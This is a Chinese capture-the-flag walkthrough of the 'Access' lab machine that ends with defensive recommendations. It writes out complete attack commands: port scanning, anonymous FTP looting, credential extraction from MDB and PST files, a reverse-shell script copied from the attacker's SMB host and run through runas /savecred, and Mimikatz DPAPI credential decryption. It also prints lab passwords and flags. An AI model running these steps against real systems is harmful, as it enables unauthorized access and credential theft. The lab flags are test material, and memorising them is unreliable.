[Meachines] [Easy] Access FTP匿名登录+mdb文件解析+Outlook PST提取+Runas权限提升+DPAPI滥用(Mimikatz)凭据提取权限提升
字数 2022 2025-08-22 12:23:41
Access 渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用Masscan进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.10.98 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.98
扫描结果:
- 21/tcp: FTP (Microsoft ftpd),允许匿名登录
- 23/tcp: Telnet (Microsoft Windows XP telnetd)
- 80/tcp: HTTP (Microsoft IIS 7.5)
1.2 服务识别
FTP服务:
- 匿名登录允许
- 系统类型:Windows_NT
Telnet服务:
- 提供NTLM信息:
- Target_Name: ACCESS
- NetBIOS_Domain_Name: ACCESS
- NetBIOS_Computer_Name: ACCESS
- DNS_Domain_Name: ACCESS
- DNS_Computer_Name: ACCESS
- Product_Version: 6.1.7600
HTTP服务:
- 服务器:Microsoft-IIS/7.5
- 标题:MegaCorp
- 潜在风险方法:TRACE
2. 初始访问
2.1 FTP匿名登录
wget -r --no-passive-ftp ftp://anonymous:a@10.10.10.98
获取文件:
backup.mdb- Microsoft Access数据库备份文件
2.2 MDB文件分析
使用mdb-tools分析Access数据库:
mdb-tables backup.mdb | grep --color=auto user
mdb-export backup.mdb auth_user
发现用户凭证:
| id | username | password | Status | last_login | RoleID | Remark |
|---|---|---|---|---|---|---|
| 25 | admin | admin1 | 0 | 8/23/18 21:11:47 | 26 | 27 |
| engineer | access4u@security | 0 | 8/23/18 21:13:36 | 26 | 28 | |
| backup_admin | admin108 | 0 | 8/23/18 21:14:02 | 26 |
2.3 Outlook PST文件分析
发现Access Control.zip文件,使用密码access4u@security解压:
7z l -slt Access\ Control.zip
7z x Access\ Control.zip
提取PST文件内容:
readpst -tea -m Access\ Control.pst
获取凭证:
- username: security
- password: 4Cc3ssC0ntr0ller
2.4 Telnet登录
使用获取的凭证登录Telnet:
telnet 10.10.10.98
成功获取user flag:
73fa98942d74fda472f164a668838635
3. 权限提升
3.1 Runas利用
- 准备PowerShell反向shell脚本
- 通过SMB共享传输到目标机器:
impacket-smbserver share /tmp/ -smb2support
目标机器执行:
copy \\10.10.16.6\share\rev.ps1 .
powershell -ExecutionPolicy Bypass -File "C:\Users\security\rev.ps1"
- 检查保存的凭据:
cmdkey /list
发现已保存的Administrator凭据
- 利用保存的凭据执行命令:
runas /user:ACCESS\Administrator /savecred "powershell -ExecutionPolicy Bypass -File "C:\Users\security\rev.ps1""
3.2 DPAPI滥用与Mimikatz
- 获取当前用户SID:
(Get-WmiObject -Class Win32_UserAccount -Filter "Name='security'" ).SID
- 查找凭据文件:
dir /S /AS C:\Users\security\AppData\Local\Microsoft\Vault
dir /S /AS C:\Users\security\AppData\Local\Microsoft\Credentials
dir /S /AS C:\Users\security\AppData\Local\Microsoft\Protect
dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Vault
dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Credentials
dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Protect
- 提取凭据文件和主密钥:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580"))
- 使用Mimikatz分析:
dpapi::cred /in:51AB168BE4BDB3A603DADE4F8CA81290 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
dpapi::masterkey /in:0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
dpapi::cred /in:51AB168BE4BDB3A603DADE4F8CA81290
获取管理员凭据:
- username: administrator
- password: 55Acc3ssS3cur1ty@megacorp
3.3 获取Root Flag
使用管理员凭据获取root flag:
ec98536f795aca4c117bad2bc689f96c
4. 关键知识点总结
- FTP匿名登录:检查FTP服务是否允许匿名访问,可能泄露敏感文件
- MDB文件分析:使用mdb-tools工具分析Microsoft Access数据库文件
- Outlook PST文件:包含邮件和潜在凭证,使用readpst工具提取内容
- Runas利用:Windows保存的凭据可通过runas命令利用
- DPAPI滥用:Windows数据保护API存储的凭据可通过Mimikatz提取
- 凭证存储位置:
AppData\Roaming\Microsoft\CredentialsAppData\Roaming\Microsoft\Protect
- Mimikatz使用:提取DPAPI保护的凭据需要主密钥文件和用户密码
5. 防御建议
- 禁用FTP匿名登录
- 加密存储数据库备份文件
- 避免在邮件中存储敏感凭证
- 限制runas命令的使用和凭据保存
- 定期审计DPAPI保护的凭据
- 使用强密码策略,避免密码重用
- 监控异常进程如Mimikatz的执行